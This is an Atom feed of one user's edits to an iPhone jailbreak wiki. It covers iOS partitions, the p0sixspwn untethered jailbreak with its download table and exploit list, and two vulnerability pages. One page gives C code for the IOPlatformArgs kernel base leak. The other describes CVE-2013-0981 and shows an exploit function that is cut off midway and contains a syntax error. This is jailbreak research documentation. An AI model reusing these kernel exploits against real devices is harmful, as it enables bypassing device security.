<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=I3ppwn</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=I3ppwn"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/I3ppwn"/>
	<updated>2026-05-02T17:52:26Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:I3ppwn&amp;diff=102975</id>
		<title>User:I3ppwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:I3ppwn&amp;diff=102975"/>
		<updated>2020-05-29T11:37:13Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;My account on here still exists...? &lt;br /&gt;
Oh wow...&lt;br /&gt;
So many memories...&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=/dev/disk0s1s2&amp;diff=41551</id>
		<title>/dev/disk0s1s2</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=/dev/disk0s1s2&amp;diff=41551"/>
		<updated>2014-07-08T10:26:29Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Created page with &amp;quot;This partition is for user data (i.e apps, music, photos, etc.), it's usually the bigger than the /dev/disk0s1s1 partition, though it depends on the Flash memory left on the d...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This partition is for user data (i.e apps, music, photos, etc.), it's usually the bigger than the /dev/disk0s1s1 partition, though it depends on the Flash memory left on the device&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=/dev/disk0s1s1&amp;diff=41550</id>
		<title>/dev/disk0s1s1</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=/dev/disk0s1s1&amp;diff=41550"/>
		<updated>2014-07-08T09:32:38Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Created page with &amp;quot;It is for iOS System files. It is equivalent to OS X's /System and /Library directories. The size by default is around 1GB iirc. But the size can be changed with redsn0w or sn...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;It is for iOS System files. It is equivalent to OS X's /System and /Library directories. The size by default is around 1GB iirc. But the size can be changed with redsn0w or sn0wbreeze. It's the smallest partition.&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41499</id>
		<title>IOPlatfromArgs leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41499"/>
		<updated>2014-07-04T13:39:25Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
This vulnerability leaks the kernel base address. &lt;br /&gt;
This is the code &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 static uint32_t&lt;br /&gt;
 get_kernel_base_boot_args(void)&lt;br /&gt;
 {&lt;br /&gt;
    CFStringRef parameter = CFSTR(&amp;quot;IOPlatformArgs&amp;quot;);&lt;br /&gt;
    CFDataRef data;&lt;br /&gt;
    io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(&amp;quot;IOPlatformExpertDevice&amp;quot;));&lt;br /&gt;
    if (platformExpert)&lt;br /&gt;
    {&lt;br /&gt;
        data = IORegistryEntryCreateCFProperty(platformExpert,&lt;br /&gt;
                                               parameter,&lt;br /&gt;
                                               kCFAllocatorDefault, 0);&lt;br /&gt;
    }&lt;br /&gt;
    IOObjectRelease(platformExpert);&lt;br /&gt;
    CFIndex bufferLength = CFDataGetLength(data);  &lt;br /&gt;
    UInt8 *buffer = malloc(bufferLength);&lt;br /&gt;
    CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);&lt;br /&gt;
    typedef struct {&lt;br /&gt;
        uint32_t deviceTreeP;&lt;br /&gt;
        uint32_t bootArgs;&lt;br /&gt;
        uint32_t zero;&lt;br /&gt;
        uint32_t zero_1;&lt;br /&gt;
    } platformArgs;&lt;br /&gt;
    platformArgs IOPlatformArgs;&lt;br /&gt;
    bcopy(buffer, &amp;amp;IOPlatformArgs, sizeof(IOPlatformArgs));&lt;br /&gt;
    return IOPlatformArgs.bootArgs;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once the attacker knows the virtual base, he can use the &amp;lt;code&amp;gt;virt_to_phys&amp;lt;/code&amp;gt; macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41498</id>
		<title>IOPlatfromArgs leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41498"/>
		<updated>2014-07-04T13:38:39Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
This vulnerability leaks the kernel base address. &lt;br /&gt;
This is the code &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 static uint32_t&lt;br /&gt;
 get_kernel_base_boot_args(void)&lt;br /&gt;
 {&lt;br /&gt;
    CFStringRef parameter = CFSTR(&amp;quot;IOPlatformArgs&amp;quot;);&lt;br /&gt;
    CFDataRef data;&lt;br /&gt;
&lt;br /&gt;
    io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(&amp;quot;IOPlatformExpertDevice&amp;quot;));&lt;br /&gt;
    if (platformExpert)&lt;br /&gt;
    {&lt;br /&gt;
        data = IORegistryEntryCreateCFProperty(platformExpert,&lt;br /&gt;
                                               parameter,&lt;br /&gt;
                                               kCFAllocatorDefault, 0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    IOObjectRelease(platformExpert);&lt;br /&gt;
    CFIndex bufferLength = CFDataGetLength(data);  &lt;br /&gt;
    UInt8 *buffer = malloc(bufferLength);&lt;br /&gt;
    CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);&lt;br /&gt;
&lt;br /&gt;
    typedef struct {&lt;br /&gt;
        uint32_t deviceTreeP;&lt;br /&gt;
        uint32_t bootArgs;&lt;br /&gt;
        uint32_t zero;&lt;br /&gt;
        uint32_t zero_1;&lt;br /&gt;
    } platformArgs;&lt;br /&gt;
    platformArgs IOPlatformArgs;&lt;br /&gt;
    bcopy(buffer, &amp;amp;IOPlatformArgs, sizeof(IOPlatformArgs));&lt;br /&gt;
&lt;br /&gt;
    return IOPlatformArgs.bootArgs;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once the attacker knows the virtual base, he can use the &amp;lt;code&amp;gt;virt_to_phys&amp;lt;/code&amp;gt; macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41436</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41436"/>
		<updated>2014-06-30T09:20:56Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.6 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.6 and 5.2.1 - 5.3 on [[k66ap|Apple TV 2G]]. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows program was released on 3 January 2014.&lt;br /&gt;
&lt;br /&gt;
== Cydia Package Changelog ==&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 (iPhone3,1)]] boot loop fix&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.4-1''' Support iOS 6.1.6.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 MEGA]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with [[iPod touch 5G]] not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.3&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;060c95cda0e5ad861bd225ca19324e6ebd3c0a5d&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!x0sk1SjB!S86WIGnifrgVhf5aoFQiPHl5aMJvS3miIeTTy9pLL_w MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release for Windows.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.4&lt;br /&gt;
| &amp;lt;code&amp;gt;0a40a9780ba0dd9f0476d12950b4fb0026c8559a&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!Vl9zFJYC!JaCsqwnNNDJvj_4t0APjC2XPBg0ZuUwMSNNz2MGb4Xw MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Added README and time adjustments for slow PC's.&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.5&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b99fb1de846c406a15bbd710b623ddd78e139e5e&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!B5lxxDLD!YrvjGhvVDxm2ah94hafI7TJWfm9EK0aWsh4_7YN78qE MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes some issues.&lt;br /&gt;
* Support for Mac OS X Snow Leopard.&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7c782a39ed123f70594e2438eaacc95340e363e3&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!l1UFgJiA!Ogbi6Q1GsKZZMZzEhi8w1zvlHXEh0QuDBIGdjfktHb0 MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.7&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7f4f867a2e3739e8ee70f7bc7e47afe9871c69b6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!Y8M2VAiS!Bq4NRjrlZXE754uNqSJT90mUzwsSGMPVa2PWsp78344 MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes Cydia sometimes not showing up&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;868a05ba26fd679a28c3eac0c4dc2c0cbb5e9529&amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://MEGA.co.nz/#!E0sESCiC!c-ulVmjoa9qtPDe0MBIQgz9D2H03NgCxjBKZmAUPKRc MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.8&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;aa20c28c2e052c08893fdbf49d16f084df2f46e6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!hptDFbzb!Dfa8Th7Ngw6PyDSnWDyMmzHbGYDrMqk64kRMB4MCv0c MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Supports iOS 6.1.6&lt;br /&gt;
* Fixes iTunes 11.1+ crashes&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;5d2711a99433daa1800d1327207bfc870cd16698 &amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!Rp12yZrK!EhZjmllrpQ4JDC7VvHbcUEautLNBSSFUgBzKFzB20js MEGA]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
* [[posix_spawn kernel information leak]] (by [[i0n1c]]) (proof? what is it used for?)&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] (proof/quotes? no information found)&lt;br /&gt;
* [[AMFID_code_signing_evasion]]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1273 CVE-2014-1273] (by [[planetbeing]]) (proof/quotes? no information found)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (proof/quotes? no information found)&lt;br /&gt;
* [[Symbolic Link Vulnerability]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOPlatfromArgs leak]] (by [[iH8sn0w]])&lt;br /&gt;
* [[TTE Remapping]] (by [[winocm]])&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
* [https://github.com/p0sixspwn/p0sixspwn Source Code on GitHub]&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41435</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41435"/>
		<updated>2014-06-30T09:20:16Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.6 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.6 and 5.2.1 - 5.3 on [[k66ap|Apple TV 2G]]. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows program was released on 3 January 2014.&lt;br /&gt;
&lt;br /&gt;
== Cydia Package Changelog ==&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 (iPhone3,1)]] boot loop fix&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.4-1''' Support iOS 6.1.6.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 MEGA]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with [[iPod touch 5G]] not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.3&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;060c95cda0e5ad861bd225ca19324e6ebd3c0a5d&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!x0sk1SjB!S86WIGnifrgVhf5aoFQiPHl5aMJvS3miIeTTy9pLL_w MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release for Windows.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.4&lt;br /&gt;
| &amp;lt;code&amp;gt;0a40a9780ba0dd9f0476d12950b4fb0026c8559a&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!Vl9zFJYC!JaCsqwnNNDJvj_4t0APjC2XPBg0ZuUwMSNNz2MGb4Xw MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Added README and time adjustments for slow PC's.&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.5&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b99fb1de846c406a15bbd710b623ddd78e139e5e&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!B5lxxDLD!YrvjGhvVDxm2ah94hafI7TJWfm9EK0aWsh4_7YN78qE MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes some issues.&lt;br /&gt;
* Support for Mac OS X Snow Leopard.&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7c782a39ed123f70594e2438eaacc95340e363e3&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!l1UFgJiA!Ogbi6Q1GsKZZMZzEhi8w1zvlHXEh0QuDBIGdjfktHb0 MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.7&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7f4f867a2e3739e8ee70f7bc7e47afe9871c69b6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!Y8M2VAiS!Bq4NRjrlZXE754uNqSJT90mUzwsSGMPVa2PWsp78344 MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes Cydia sometimes not showing up&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;868a05ba26fd679a28c3eac0c4dc2c0cbb5e9529&amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://MEGA.co.nz/#!E0sESCiC!c-ulVmjoa9qtPDe0MBIQgz9D2H03NgCxjBKZmAUPKRc MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.8&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;aa20c28c2e052c08893fdbf49d16f084df2f46e6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!hptDFbzb!Dfa8Th7Ngw6PyDSnWDyMmzHbGYDrMqk64kRMB4MCv0c MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Supports iOS 6.1.6&lt;br /&gt;
* Fixes iTunes 11.1+ crashes&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;5d2711a99433daa1800d1327207bfc870cd16698 &amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!Rp12yZrK!EhZjmllrpQ4JDC7VvHbcUEautLNBSSFUgBzKFzB20js MEGA]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
* [[posix_spawn kernel information leak]] (by [[i0n1c]]) (proof? what is it used for?)&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] (proof/quotes? no information found)&lt;br /&gt;
* [[AMFID_code_signing_evasion]]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1273 CVE-2014-1273] (by [[planetbeing]]) (proof/quotes? no information found)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (proof/quotes? no information found)&lt;br /&gt;
* [[Symbolic Link Vulnerability]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOPlatfromArgs leak]] (by [[iH8sn0w]])&lt;br /&gt;
* [[TTE Remapping] (by [[winocm]])&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
* [https://github.com/p0sixspwn/p0sixspwn Source Code on GitHub]&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:I3ppwn&amp;diff=41414</id>
		<title>User:I3ppwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:I3ppwn&amp;diff=41414"/>
		<updated>2014-06-27T12:54:24Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Created page with &amp;quot;Hi?  I'm a 14 y/o developer working on jailbreak stuff, I do research about low-level iOS, I develop in C/C++, Bash and ARM Assembly, I like doing stuff with iOS, I suck at re...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Hi?&lt;br /&gt;
&lt;br /&gt;
I'm a 14 y/o developer working on jailbreak stuff, I do research about low-level iOS, I develop in C/C++, Bash and ARM Assembly, I like doing stuff with iOS, I suck at reverse engineering but I still do it (much lol). &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 #define i3ppwn(lel, amount) lel * amount + lel - amount  &lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IOUSBDeviceFamily_Vulnerability&amp;diff=41302</id>
		<title>IOUSBDeviceFamily Vulnerability</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IOUSBDeviceFamily_Vulnerability&amp;diff=41302"/>
		<updated>2014-06-14T18:27:48Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This is CVE-2013-0981.&lt;br /&gt;
This kernel vulnerability comes from the &amp;lt;code&amp;gt;com.apple.iokit.IOUSBDeviceInterface&amp;lt;/code&amp;gt; driver. There are several methods that accept a pipe object pointer from user space, but do not validate the pointer except for testing if it is non-null. An application that can communicate with USB devices (holding &amp;lt;code&amp;gt;com.apple.security.device.usb&amp;lt;/code&amp;gt; [[entitlement]]) can call IOUSBDeviceInterface functions directly and give them a malformed pipe object which can result in arbitrary code execution if the memory referenced by the given pip object pointer can be controlled from user space. [[evasi0n]] uses function 15 (stallPipe) for exploitation.&lt;br /&gt;
This is an implementation of the exploit code.&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 void exploit_kern_612(void)&lt;br /&gt;
 {&lt;br /&gt;
    kern_return_t ret;&lt;br /&gt;
    CFMutableDictionaryRef lol = IOServiceMatching( &amp;quot;IOUSBDeviceInterface&amp;quot; );&lt;br /&gt;
    if( lol != NULL )&lt;br /&gt;
       {&lt;br /&gt;
           io_connect_t connect;&lt;br /&gt;
           io_service_t io_service = IOServiceGetMatchingService( kIOMasterPortDefault, lol );&lt;br /&gt;
           ret = IOServiceOpen( io_service, mach_task_self(), 0, &amp;amp;connect );&lt;br /&gt;
           &lt;br /&gt;
           // check if this bs works&lt;br /&gt;
           if(ret === KERN_SUCCESS)&lt;br /&gt;
           {&lt;br /&gt;
                 uint32_t fakr[100] = {0};&lt;br /&gt;
                 fakr[0x28/4] = 1;&lt;br /&gt;
                 fakr[0x8/4]  = (uint32_t)fakr;&lt;br /&gt;
                 fakr[0x20/4] = 0;&lt;br /&gt;
                 fakr[0x50/4] = (uint32_t)fakr;&lt;br /&gt;
